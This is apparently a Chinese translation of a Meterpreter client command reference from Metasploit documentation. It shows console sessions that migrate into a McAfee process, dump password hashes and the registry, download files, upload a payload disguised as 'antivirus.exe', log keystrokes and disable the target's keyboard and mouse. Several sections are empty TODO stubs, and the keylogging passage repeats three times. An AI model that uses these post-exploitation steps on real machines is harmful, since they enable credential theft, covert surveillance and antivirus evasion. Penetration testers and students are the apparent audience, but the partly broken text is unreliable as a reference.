Metasploit/MeterpreterClient
Meterpreter > shell
待办事项 - meterpreter 简介。
我们可以使用?或help来显示命令列表及其简要描述。
使用background命令将当前会话置于后台,并将我们带回 Metasploit 控制台,而不会终止会话。我们可以使用sessions Metasploit 命令再次开始与会话交互。
meterpreter > background msf exploit(handler) > sessions -l Active sessions =============== Id Description Tunnel -- ----------- ------ 1 Meterpreter 192.168.50.112:443 -> 192.168.50.100:1495 msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter >
待办事项 显示有关活动通道的信息
待办事项 关闭通道
返回 Meterpreter 控制台并关闭活动会话。
meterpreter > exit [*] Meterpreter session 1 closed. msf exploit(handler) > sessions -l Active sessions =============== No active sessions.
我们可以使用?或help来显示命令列表及其简要描述。
待办事项 与通道交互
我们可以使用irb命令启动交互式 Ruby Shell,这使我们能够使用 Ruby 脚本语言与受感染的系统交互。
要查看 API,我们需要从 Metasploit 目录运行rdoc命令,这将创建一个 doc/index.html 文件,我们可以在浏览器中打开它。查看 API 的 Rex::Post::Meterpreter 部分以获取相关部分。
meterpreter > irb [*] Starting IRB shell [*] The 'client' variable holds the meterpreter client >> client.sys.config.sysinfo() => {"OS"=>"Windows XP (Build 2600, Service Pack 2).", "Computer"=>"TARGETLAPTOP"}
Meterpreter 最初在被利用的进程中运行,或者在某些情况下作为其自身可执行文件的进程运行。如果该进程因任何原因停止,Meterpreter 会话将关闭,因此最好将会话迁移到更稳定的进程,例如 Windows 的 explorer.exe。
以下示例显示了使用一些命令来定位用户在其会话期间不会关闭的进程。这些命令是
- ps - 显示正在运行的进程列表。
- getpid - 显示 Meterpreter 正在使用的进程,显示 EXE 负载 meter-443.exe。
- migrate pid - 将 Meterpreter 移至新的进程 ID 号,我们在此请求 McAfee 代理。
- getpid - 显示 Meterpreter 正在使用的新的进程,我们验证它是 McAfee 代理进程。
meterpreter > ps Process list ============ PID Name Path --- ---- ---- 220 MPFSrv.exe C:\Program Files\McAfee\MPF\MPFSrv.exe 292 RalinkRegistryWriter.exe C:\Program Files\RALINK\Common\RalinkRegistryWriter.exe 484 WinVNC4.exe C:\Program Files\RealVNC\VNC4\WinVNC4.exe 492 smss.exe \SystemRoot\System32\smss.exe 592 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe 636 services.exe C:\WINDOWS\system32\services.exe 648 lsass.exe C:\WINDOWS\system32\lsass.exe 804 svchost.exe C:\WINDOWS\system32\svchost.exe 956 svchost.exe C:\WINDOWS\System32\svchost.exe 1404 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe 1432 Explorer.EXE C:\WINDOWS\Explorer.EXE 1536 mcagent.exe C:\Program Files\McAfee.com\Agent\mcagent.exe 1616 RaUI.exe C:\Program Files\RALINK\Common\RaUI.exe 1692 meter-443.exe C:\Documents and Settings\Administrator\Desktop\shared\meter-443.exe 1848 McSACore.exe C:\Program Files\McAfee\SiteAdvisor\McSACore.exe 1860 mcmscsvc.exe C:\PROGRA~1\McAfee\MSC\mcmscsvc.exe 1884 mcnasvc.exe c:\PROGRA~1\COMMON~1\mcafee\mna\mcnasvc.exe 1996 mcproxy.exe c:\PROGRA~1\COMMON~1\mcafee\mcproxy\mcproxy.exe 3076 wuauclt.exe C:\WINDOWS\system32\wuauclt.exe 3320 wpabaln.exe C:\WINDOWS\system32\wpabaln.exe 3424 mcsysmon.exe C:\PROGRA~1\McAfee\VIRUSS~1\mcsysmon.exe 4032 mcshield.exe C:\PROGRA~1\McAfee\VIRUSS~1\mcshield.exe meterpreter > getpid Current pid: 1692 meterpreter > migrate 1536 [*] Migrating to 1536... [*] Migration completed successfully. meterpreter > ps Process list ============ PID Name Path --- ---- ---- 220 MPFSrv.exe C:\Program Files\McAfee\MPF\MPFSrv.exe 292 RalinkRegistryWriter.exe C:\Program Files\RALINK\Common\RalinkRegistryWriter.exe 484 WinVNC4.exe C:\Program Files\RealVNC\VNC4\WinVNC4.exe 492 smss.exe \SystemRoot\System32\smss.exe 592 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe 636 services.exe C:\WINDOWS\system32\services.exe 648 lsass.exe C:\WINDOWS\system32\lsass.exe 744 taskmgr.exe C:\WINDOWS\system32\taskmgr.exe 804 svchost.exe C:\WINDOWS\system32\svchost.exe 956 svchost.exe C:\WINDOWS\System32\svchost.exe 1404 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe 1432 Explorer.EXE C:\WINDOWS\Explorer.EXE 1536 mcagent.exe C:\Program Files\McAfee.com\Agent\mcagent.exe 1616 RaUI.exe C:\Program Files\RALINK\Common\RaUI.exe 1848 McSACore.exe C:\Program Files\McAfee\SiteAdvisor\McSACore.exe 1860 mcmscsvc.exe C:\PROGRA~1\McAfee\MSC\mcmscsvc.exe 1884 mcnasvc.exe c:\PROGRA~1\COMMON~1\mcafee\mna\mcnasvc.exe 1996 mcproxy.exe c:\PROGRA~1\COMMON~1\mcafee\mcproxy\mcproxy.exe 3076 wuauclt.exe C:\WINDOWS\system32\wuauclt.exe 3320 wpabaln.exe C:\WINDOWS\system32\wpabaln.exe 3424 mcsysmon.exe C:\PROGRA~1\McAfee\VIRUSS~1\mcsysmon.exe 4032 mcshield.exe C:\PROGRA~1\McAfee\VIRUSS~1\mcshield.exe meterpreter > getpid Current pid: 1536
返回 Meterpreter 控制台并关闭活动会话。
meterpreter > quit [*] Meterpreter session 1 closed. msf exploit(handler) > sessions -l Active sessions =============== No active sessions.
待办事项 从通道读取数据
我们可以使用run命令执行 Meterpreter 脚本。如果未指定路径,Meterpreter 将在 scripts/meterpreter/ 目录中搜索脚本。
在以下示例中,我们正在运行 scripts/meterpreter/scraper.rb 脚本,该脚本从目标提取一些基本信息。信息将记录到 ~/.msf3/logs/scraper 目录中。
meterpreter > run scraper.rb [*] New session on 192.168.50.100:1548... [*] Gathering basic system information... [*] Dumping password hashes... [*] Obtaining the entire registry... [*] Exporting HKCU [*] Downloading HKCU (C:\DOCUME~1\Administrator\LOCALS~1\Temp\xHzyoaiW.reg) [*] Cleaning HKCU [*] Exporting HKLM [*] Downloading HKLM (C:\DOCUME~1\Administrator\LOCALS~1\Temp\JYCDjVMU.reg) [*] Cleaning HKLM [*] Exporting HKCC [*] Downloading HKCC (C:\DOCUME~1\Administrator\LOCALS~1\Temp\uEATxCej.reg) [*] Cleaning HKCC [*] Exporting HKCR [*] Downloading HKCR (C:\DOCUME~1\Administrator\LOCALS~1\Temp\guYOZCzT.reg) [*] Cleaning HKCR [*] Exporting HKU [*] Downloading HKU (C:\DOCUME~1\Administrator\LOCALS~1\Temp\ZNfDGqdB.reg) [*] Cleaning HKU [*] Completed processing on 192.168.50.100:1548...
为了获得额外的命令和功能,我们可以使用use命令加载 Meterpreter 扩展。
在以下示例中,我们希望使用hashdump命令从目标检索密码哈希。通过使用use priv命令,我们可以加载为我们提供hashdump命令的扩展。我们可以使用?来验证这一点,以列出我们可用的命令。
meterpreter > use -l stdapi sniffer incognito priv espiameterpreter > use priv Loading extension priv...success. meterpreter > ? <snip> Priv: Password database Commands ================================ Command Description ------- ----------- hashdump Dumps the contents of the SAM database Priv: Timestomp Commands ======================== Command Description ------- ----------- timestomp Manipulate file MACE attributes
TODO 将数据写入通道
cat 命令显示单个文件的内容。截至撰写本文时,尝试读取空文件时,该命令将抛出错误。
meterpreter > cat passwords.txt harleydavidson password kidsbirthday
要更改目录,使用 cd 命令。
该命令或多或少地接受反斜杠和正斜杠,尽管使用正斜杠似乎更频繁。"." 和 ".." 分别用于访问当前目录和父目录,双引号可用于访问名称中带有空格的目录。
meterpreter > pwd C:\ meterpreter > cd /"Program Files"/"Internet Explorer" meterpreter > pwd C:\Program Files\Internet Explorer meterpreter > cd ../../"documents and settings"/Administrator/Desktop/ C:\Documents and Settings\Administrator\Desktop
当我们需要从目标检索文件时,我们使用 download 命令,该命令将指定的文件传输到我们的本地工作目录中。如果我们需要递归地下载整个目录,我们使用 download -r 命令。
meterpreter > download users.txt [*] downloading: users.txt -> users.txt [*] downloaded : users.txt -> users.txt
要使用我们的默认文本编辑器编辑文件,我们使用 edit 命令。在幕后,Meterpreter 将将文件的副本下载到临时目录,然后在编辑完成后上传新文件。
meterpreter > edit users.txt
我们可以使用 getlwd (get local working directory),或使用别名 lpwd (local print working directory) 显示我们本地机器上的当前工作目录。
meterpreter > getlwd /home/myusername/Desktop/metasploit meterpreter > lpwd /home/myusername/Desktop/metasploit
我们可以使用 getwd (get working directory),或使用别名 pwd (print working directory) 显示被利用机器上的当前工作目录。
meterpreter > getwd C:\Program Files\Internet Explorer meterpreter > pwd C:\Program Files\Internet Explorer
要更改本地目录,我们使用 lcd 命令。
该命令仅接受与您的操作系统 cd 命令相同的方式的的参数,因此请参阅您的系统文档以获取具体说明。以下示例显示了 Linux 系统上的 lcd。
meterpreter > lpwd /home/myusername/Desktop/metasploit meterpreter > lcd ../.. meterpreter > lpwd /home/myusername meterpreter > lcd /home/andrer/Desktop/metasploit meterpreter > lpwd /home/myusername/Desktop/metasploit
我们可以使用 lpwd (local print working directory),或使用别名 getlwd (get local working directory) 显示我们本地机器上的当前工作目录。
meterpreter > lpwd /home/myusername/Desktop/metasploit meterpreter > getlwd /home/myusername/Desktop/metasploit
我们可以使用 ls 命令查看当前工作目录和该目录中文件的详细列表。文件列表以类似于 GNU ls 程序的格式给出。
meterpreter > ls Listing: C:\Documents and Settings\Administrator\Desktop\shared =============================================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 . 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 .. 100777/rwxrwxrwx 14965 fil Wed Dec 31 18:00:00 -0600 1969 meter-443.exe 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 u3
我们使用 mkdir 在目标系统上创建一个新目录。
meterpreter > mkdir antivirus-update Creating directory: antivirus-update meterpreter > ls Listing: C:\Documents and Settings\Administrator\Desktop ================================================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 . 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 .. 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 antivirus-update 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 shared 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 working
我们可以使用 pwd ( print working directory),或使用别名 getwd (get working directory) 显示我们本地机器上的当前工作目录。
meterpreter > pwd C:\Program Files\Internet Explorer meterpreter > getwd C:\Program Files\Internet Explorer
我们可以使用 rmdir 命令删除空目录。如果目录不为空,该命令将抛出错误。
meterpreter > rmdir antivirus-update Removing directory: antivirus-update
要将文件发送到目标系统,我们使用 upload 命令,使用 -r 开关递归上传目录及其内容。在以下示例中,我们上传了一个错误命名的 Meterpreter 负载。
meterpreter > upload antivirus.exe [*] uploading : antivirus.exe -> antivirus.exe [*] uploaded : antivirus.exe -> antivirus.exe meterpreter > ls Listing: C:\Documents and Settings\Administrator\Desktop\antivirus-update ================================================================= Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 . 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 .. 100777/rwxrwxrwx 10912 fil Wed Dec 31 18:00:00 -0600 1969 antivirus.exe
通过使用 ipconfig 命令或internet protocol configuration,我们可以查看目标上所有网络接口的列表。查看 ipconfig 的结果对于确定目标直接连接到哪些网络最有用。
例如,查看以下内容,我们可以看到目标连接到 192.168.50.0/24 网络,内部地址为 192.168.50.100。
meterpreter > ipconfig MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 National Semiconductor DP83815-Based PCI Fast Ethernet Adapter - Packet Scheduler Miniport Hardware MAC: 00:0b:cd:30:db:0a IP Address : 192.168.50.100 Netmask : 255.255.255.0
将本地端口转发到远程服务
查看和修改路由表
执行命令
要执行命令,您需要对文件“cmd.exe”应用程序使用 execute "-f”。
这将在后台执行。要检查此项,请输入 ps
execute -f cmd.exe 54124---> 进程 ID
获取当前进程标识符
获取服务器运行的用户
终止进程
ps 命令列出正在运行的进程,它是一个重要的命令,原因有二。首先,了解目标系统上运行的应用程序和服务有助于我们了解系统的状态。其次,在某些情况下,Meterpreter 最初运行在被利用的进程内,或者作为其自身可执行文件的进程。如果该进程因任何原因停止,Meterpreter 会话将关闭,因此将会话迁移到更稳定的进程(例如 Windows 的 explorer.exe)是一种良好的做法。
meterpreter > ps Process list ============ PID Name Path --- ---- ---- 284 MPFSrv.exe C:\Program Files\McAfee\MPF\MPFSrv.exe 424 RalinkRegistryWriter.exe C:\Program Files\RALINK\Common\RalinkRegistryWriter.exe 492 smss.exe \SystemRoot\System32\smss.exe 592 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe 612 WinVNC4.exe C:\Program Files\RealVNC\VNC4\WinVNC4.exe 636 services.exe C:\WINDOWS\system32\services.exe 648 lsass.exe C:\WINDOWS\system32\lsass.exe 804 svchost.exe C:\WINDOWS\system32\svchost.exe 876 NOTEPAD.EXE C:\WINDOWS\system32\NOTEPAD.EXE 964 svchost.exe C:\WINDOWS\System32\svchost.exe 1348 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe 1464 Explorer.EXE C:\WINDOWS\Explorer.EXE 1540 mcagent.exe C:\Program Files\McAfee.com\Agent\mcagent.exe 1612 RaUI.exe C:\Program Files\RALINK\Common\RaUI.exe 1840 McSACore.exe C:\Program Files\McAfee\SiteAdvisor\McSACore.exe 1852 mcmscsvc.exe C:\PROGRA~1\McAfee\MSC\mcmscsvc.exe 1876 mcnasvc.exe c:\PROGRA~1\COMMON~1\mcafee\mna\mcnasvc.exe 1928 mcproxy.exe c:\PROGRA~1\COMMON~1\mcafee\mcproxy\mcproxy.exe 1952 mcshield.exe C:\PROGRA~1\McAfee\VIRUSS~1\mcshield.exe 3028 wuauclt.exe C:\WINDOWS\system32\wuauclt.exe 3168 wpabaln.exe C:\WINDOWS\system32\wpabaln.exe 3240 mcsysmon.exe C:\PROGRA~1\McAfee\VIRUSS~1\mcsysmon.exe
通过运行 reboot 命令,我们将重启目标系统。
meterpreter > reboot Rebooting...
修改并与远程注册表交互
在远程计算机上调用 RevertToSelf()。
使用 shutdown 命令将关闭目标系统。
meterpreter > shutdown Shutting down...
在渗透后阶段,我们应该运行的最早命令之一是 sysinfo 命令。运行此命令将提供计算机名称和操作系统版本,这通常可以提供有关目标系统用途的线索。
meterpreter > sysinfo Computer: TARGETLAPTOP OS : Windows XP (Build 2600, Service Pack 2).
待办事项:列出所有可访问的桌面和窗口站
使用 idletime 命令将返回目标系统用户空闲的时间长度。
meterpreter > idletime User has been idle for: 51 secs
我们可以使用 keyscan 系列命令来捕获目标的键盘输入。keyscan_start 和 keyscan_stop 命令分别开始和结束记录击键,而 keyscan_dump 命令则在我们的客户端上显示所有记录的击键。
meterpreter > keyscan_start Starting the keystroke sniffer... meterpreter > keyscan_dump Dumping captured keystrokes... This text is actually being typed into the target's keyboard.<Return> meterpreter > keyscan_stop Stopping the keystroke sniffer...
我们可以使用 keyscan 系列命令来捕获目标的键盘输入。keyscan_start 和 keyscan_stop 命令分别开始和结束记录击键,而 keyscan_dump 命令则在我们的客户端上显示所有记录的击键。
meterpreter > keyscan_start Starting the keystroke sniffer... meterpreter > keyscan_dump Dumping captured keystrokes... This text is actually being typed into the target's keyboard.<Return> meterpreter > keyscan_stop Stopping the keystroke sniffer...
我们可以使用 keyscan 系列命令来捕获目标的键盘输入。keyscan_start 和 keyscan_stop 命令分别开始和结束记录击键,而 keyscan_dump 命令则在我们的客户端上显示所有记录的击键。
meterpreter > keyscan_start Starting the keystroke sniffer... meterpreter > keyscan_dump Dumping captured keystrokes... This text is actually being typed into the target's keyboard.<Return> meterpreter > keyscan_stop Stopping the keystroke sniffer...
待办事项:移至不同的工作站和桌面
使用 uictl 命令,我们可以禁用目标的键盘和鼠标输入。
meterpreter > uictl disable mouse Disabling mouse... meterpreter > uictl enable mouse Enabling mouse... meterpreter > uictl disable keyboard Disabling keyboard... meterpreter > uictl enable keyboard Enabling keyboard...